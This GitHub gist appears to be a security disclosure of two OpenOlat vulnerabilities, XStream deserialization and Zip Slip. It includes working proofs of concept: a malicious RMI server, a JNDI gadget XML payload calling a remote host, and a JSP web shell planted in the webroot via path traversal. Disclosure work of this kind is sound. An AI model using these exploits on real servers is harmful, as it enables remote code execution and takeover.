Skip to content

Instantly share code, notes, and snippets.

@fkt
Last active September 1, 2021 13:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fkt/3b2abb20f2472249c2add35e2aebb8c0 to your computer and use it in GitHub Desktop.
Save fkt/3b2abb20f2472249c2add35e2aebb8c0 to your computer and use it in GitHub Desktop.

OpenOlat

During a night of research for an internal presentation about Java deserialization issues, I stumbled upon OpenOlat - a Java-based E-Learning platform used by multiple universities and institutions [0].

A cursory inspection of the OpenOlat code base using the powerful code analysis tool grep revealed, that the solution is vulnerable to unsafe deserialization of user data and path traversal in the handling of archive files, both of which leading to arbitrary code execution. In the following, a brief description of the vulnerabilities and a Proof-of-Concept (PoC) for a specific instance of these vulnerability classes will be provided. Please be aware, that although there are multiple occurrences of each class, not all potential instances will be documented here.

Unsafe Deserialization Using XStream (CVE-2021-39181)

As shown in the following code search, the solution extensively uses the XStream framework for the serialization of data:

grep -rnI 'fromXML(' OpenOlat/src | wc -l
83

Fun fact: Somehow CodeQL seems to miss these instances.

Furthermore, a brief inspection revealed, that the XStream security framework is not properly configured. This allows for the execution of arbitrary code, when deserializing user-controlled data.

Proof-Of-Concept

As an example for a potential attack scenario, the functionality to import so-called binder-templates as a user with an attached Author role will be used.

Importing resources allows for the import of binder-templates, which are represented by a Zip archive containing a file binder.xml:

public RepositoryEntry importResource(Identity initialAuthor, String initialAuthorAlt, String displayname, String description,
    boolean withReferences, Organisation organisation, Locale locale, File file, String filename) {
...
    //import binder
    File binderFile = new File(zipRoot, BinderTemplateResource.BINDER_XML);
    Binder transientBinder = BinderXStream.fromPath(binderFile.toPath());

The file binder.xml is deserialized using XStream's fromXML():

public static final Binder fromPath(Path path)
throws IOException {
  try(InputStream inStream = Files.newInputStream(path)) {
    return (Binder)myStream.fromXML(inStream);
  } catch (Exception e) {
    log.error("Cannot import this map: " + path, e);
    return null;
  }
}

The myStream object is an instance of the EnhancedXStream wrapper class, which does not indicate to utilize XStream's security framework:

public EnhancedXStream(boolean export) {
  super();

  if (export) {
    addDefaultImplementation(PersistentList.class, List.class);
    addDefaultImplementation(PersistentBag.class, List.class);
    addDefaultImplementation(PersistentMap.class, Map.class);
    addDefaultImplementation(PersistentSortedMap.class, Map.class);
    addDefaultImplementation(PersistentSet.class, Set.class);
    addDefaultImplementation(PersistentSortedSet.class, Set.class);
    addDefaultImplementation(ArrayList.class, List.class);

    registerConverter(new CollectionConverter(getMapper()) {
      @Override
      public boolean canConvert(@SuppressWarnings("rawtypes") Class type) {
        return PersistentList.class == type || PersistentBag.class == type;
      }
    });

    registerConverter(new MapConverter(getMapper()) {
      @Override
      public boolean canConvert(@SuppressWarnings("rawtypes") Class type) {
        return PersistentMap.class == type;
      }
    });
  }
}

The PoC uses a JNDI gadget (I know there are other gadgets for the XStream version in question, but the used gadget worked for me in the past on most targets), that eventually spawns a calculator on the local development machine running the OpenOlat instance. To reproduce the issue, please a create a user with an Author role, hereby called author.

Next, it is needed to build a custom JNDI server to successfully exploit this issue as described in [1]. Therefore, please clone the marshalsec repository:

git clone https://github.com/mbechler/marshalsec.git

Then, add the following RMI server code at the path src/main/java/marshalsec/jndi/EvilRMIServerNew.java:

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','gnome-calculator']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

Now, please add a missing dependency in the project's pom.xml:

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.0.38</version>
</dependency>

Finally, please build the marshalsec project using mvn, making sure to use Java 8 by ,e.g., setting the environment variable JAVA_HOME to point to a local JDK version 8:

JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 mvn clean package -DskipTests

Please note, that in the following steps, the used IP addresses need to be adjusted to match the local environment.

Next, please create the file binder.xml using the following content, representing the JNDI gadget, while adjusting the respective IP addresses (A binder.xml file can be obtained by creating and exporting a Binder template in your OpenOlat instance):

<java.util.HashMap>
  <entry>
    <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor serialization="custom">
      <org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
        <default>
          <adviceBeanName>rmi://192.168.188.29:1097/Object</adviceBeanName>
          <beanFactory class="org.springframework.jndi.support.SimpleJndiBeanFactory">
            <logger class="org.apache.commons.logging.impl.NoOpLog"/>
            <jndiTemplate>
              <logger class="org.apache.commons.logging.impl.NoOpLog"/>
            </jndiTemplate>
            <resourceRef>true</resourceRef>
            <shareableResources class="java.util.HashSet">
              <string>rmi://192.168.188.29:1097/Object</string>
            </shareableResources>
            <singletonObjects/>
            <resourceTypes/>
          </beanFactory>
        </default>
      </org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
      <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
        <default>
          <pointcut class="org.springframework.aop.TruePointcut"/>
        </default>
      </org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
    </org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
    <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor reference="../org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"/>
  </entry>
  <entry>
    <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor serialization="custom">
      <org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
        <default>
          <adviceBeanName>rmi://192.168.188.29:1097/Object</adviceBeanName>
          <beanFactory class="org.springframework.jndi.support.SimpleJndiBeanFactory">
            <logger class="org.apache.commons.logging.impl.NoOpLog"/>
            <jndiTemplate>
              <logger class="org.apache.commons.logging.impl.NoOpLog"/>
            </jndiTemplate>
            <shareableResources class="java.util.HashSet"/>
          </beanFactory>
        </default>
      </org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
      <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
        <default>
          <pointcut class="org.springframework.aop.TruePointcut" reference="../../../../../entry/org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor/org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor/default/pointcut"/>
        </default>
      </org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
    </org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor>
    <org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor reference="../org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"/>
  </entry>
</java.util.HashMap>

Additionally, create the file repo.xml using the following content (this can also be obtained by creating and exporting a Binder template):

<RepositoryEntryProperties>
  <key>589824</key>
  <Softkey>myopenolat_1_103381129811941</Softkey>
  <ResourceName>-</ResourceName>
  <DisplayName>BumsTemplate</DisplayName>
  <Description></Description>
  <InitialAuthor>administrator</InitialAuthor>
  <licenseTypeKey>1</licenseTypeKey>
  <licenseTypeName>no.license</licenseTypeName>
  <licenseText></licenseText>
  <outer-class>
    <propertiesLoaded>false</propertiesLoaded>
    <re>
      <key>589824</key>
      <version>4</version>
      <creationDate class="sql-timestamp">2021-03-09 22:58:25</creationDate>
      <lastModified class="sql-timestamp">2021-03-09 22:58:58</lastModified>
      <softkey>myopenolat_1_103381129811941</softkey>
      <olatResource class="org.olat.resource.OLATResourceImpl">
        <key>196609</key>
        <version>0</version>
        <creationDate class="sql-timestamp">2021-03-09 22:58:25</creationDate>
        <resName>BinderTemplate</resName>
        <resId>103381129811940</resId>
      </olatResource>
      <groups class="org.hibernate.collection.internal.PersistentSet">
        <isTempSession>false</isTempSession>
        <initialized>false</initialized>
        <owner class="org.olat.repository.RepositoryEntry" reference="../.."/>
        <cachedSize>-1</cachedSize>
        <role>org.olat.repository.RepositoryEntry.groups</role>
        <key class="long">589824</key>
        <dirty>false</dirty>
        <elementRemoved>false</elementRemoved>
        <allowLoadOutsideTransaction>false</allowLoadOutsideTransaction>
      </groups>
      <organisations class="org.hibernate.collection.internal.PersistentSet">
        <isTempSession>false</isTempSession>
        <initialized>false</initialized>
        <owner class="org.olat.repository.RepositoryEntry" reference="../.."/>
        <cachedSize>-1</cachedSize>
        <role>org.olat.repository.RepositoryEntry.organisations</role>
        <key class="long">589824</key>
        <dirty>false</dirty>
        <elementRemoved>false</elementRemoved>
        <allowLoadOutsideTransaction>false</allowLoadOutsideTransaction>
      </organisations>
      <taxonomyLevels class="org.hibernate.collection.internal.PersistentSet">
        <isTempSession>false</isTempSession>
        <initialized>false</initialized>
        <owner class="org.olat.repository.RepositoryEntry" reference="../.."/>
        <cachedSize>-1</cachedSize>
        <role>org.olat.repository.RepositoryEntry.taxonomyLevels</role>
        <key class="long">589824</key>
        <dirty>false</dirty>
        <elementRemoved>false</elementRemoved>
        <allowLoadOutsideTransaction>false</allowLoadOutsideTransaction>
      </taxonomyLevels>
      <resourcename>-</resourcename>
      <displayname>BumsTemplate</displayname>
      <description></description>
      <initialAuthor>administrator</initialAuthor>
      <externalRef></externalRef>
      <statistics>
        <key>557056</key>
        <creationDate class="sql-timestamp">2021-03-09 22:58:25</creationDate>
        <lastModified class="sql-timestamp">2021-03-09 22:58:25</lastModified>
        <numOfRatings>0</numOfRatings>
        <numOfComments>0</numOfComments>
        <launchCounter>1</launchCounter>
        <downloadCounter>0</downloadCounter>
        <lastUsage class="sql-timestamp">2021-03-09 22:58:25</lastUsage>
      </statistics>
      <status>published</status>
      <allUsers>false</allUsers>
      <guests>false</guests>
      <bookable>false</bookable>
      <canCopy>false</canCopy>
      <canReference>false</canReference>
      <canDownload>false</canDownload>
      <allowToLeave>atAnyTime</allowToLeave>
    </re>
    <baseDirectory>/tmp/openolat/olatdata/bcroot/repository/103381129811940/media</baseDirectory>
  </outer-class>
</RepositoryEntryProperties>

Finally, please create the Zip archive JRN.zip using both files:

zip JRN.zip binder.xml repo.xml

Next, in a separate terminal, please start the custom RMI server, while adjusting the respective IP address:

java -Djava.rmi.server.hostname=192.168.119.227 \
 -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar EvilRMIServerNew

Now, please navigate to the OpenOlat Authoring tab using the created author and import the JRN.zip file. This results in spawning a calculator as shown in the following image: Successfully spawning a calculator

Please note that using the JNDI gadget in the file repo.xml also successfully exploits another instance of this vulnerability class. While not confirmed, given the number of instances it seems likely that an instance of this vulnerability class can be triggered by users without special permissions.

Zip Slip Leads to Code Execution (CVE-2021-39180)

The inspection of the personal folder feature revealed, that the handling of Zip archives allows for a path traversal attack (Zip Slip) resulting in the ability to write arbitrary files outside of the configured directory, hence potentially leading to arbitrary code execution.

Proof-Of-Concept

To demonstrate a potential attack, a simple Zip archive is uploaded to a normal user's personal folder and then unzipped, eventually ending up being unzipped using net.sf.jazzlib (http://jazzlib.sourceforge.net/) without checking for potential path traversal attacks.

A tool to create a Zip archives that exploit potential directory traversal vulnerabilities is the Python script evilarc.py:

wget https://raw.githubusercontent.com/ptoomey3/evilarc/master/evilarc.py

There are many ways to gain code execution from a arbitrary file write. Here we will upload a default JSP webshell (https://github.com/BustedSec/webshell/blob/master/index.jsp) for demonstration purposes. CVE-2021-391u Please create the file index.jsp with the following JSP web shell as content:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

Now, please use the downloaded Python script to create a malicious Zip archive, that - in a first step - writes the web shell into the local /tmp directory:

python2 ./evilarc.py -d 20 -o unix -p /tmp ./index.jsp
Creating evil.zip containing ../../../../../../../../../../../../../../../../../../../..//tmp/index.jsp

Finally, upload the created evil.zip to a normal user's personal folder and unzip it.

This has created the file /tmp/index.jsp:

ls -lh /tmp/index.jsp
-rw-rw-r-- 1 m m 580 Jun 17 16:00 /tmp/index.jsp

To gain arbitrary code execution the web shell will now be extracted into the local Tomcat's root directory. For production environments, this path would be a path similar to /home/openolat/webapps/ROOT:

python2 ./evilarc.py -d 20 -o unix -p /home/openolat/webapps/ROOT ./index.jsp

Now, the web shell can be found at http://localhost:8080/index.jsp as shown in the following image: Web shell executing the command uname

[0] https://www.openolat.com/referenzen/

[1] https://www.veracode.com/blog/research/exploiting-jndi-injections-java

@fkt
Copy link
Author

fkt commented Sep 1, 2021

calc
shell

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment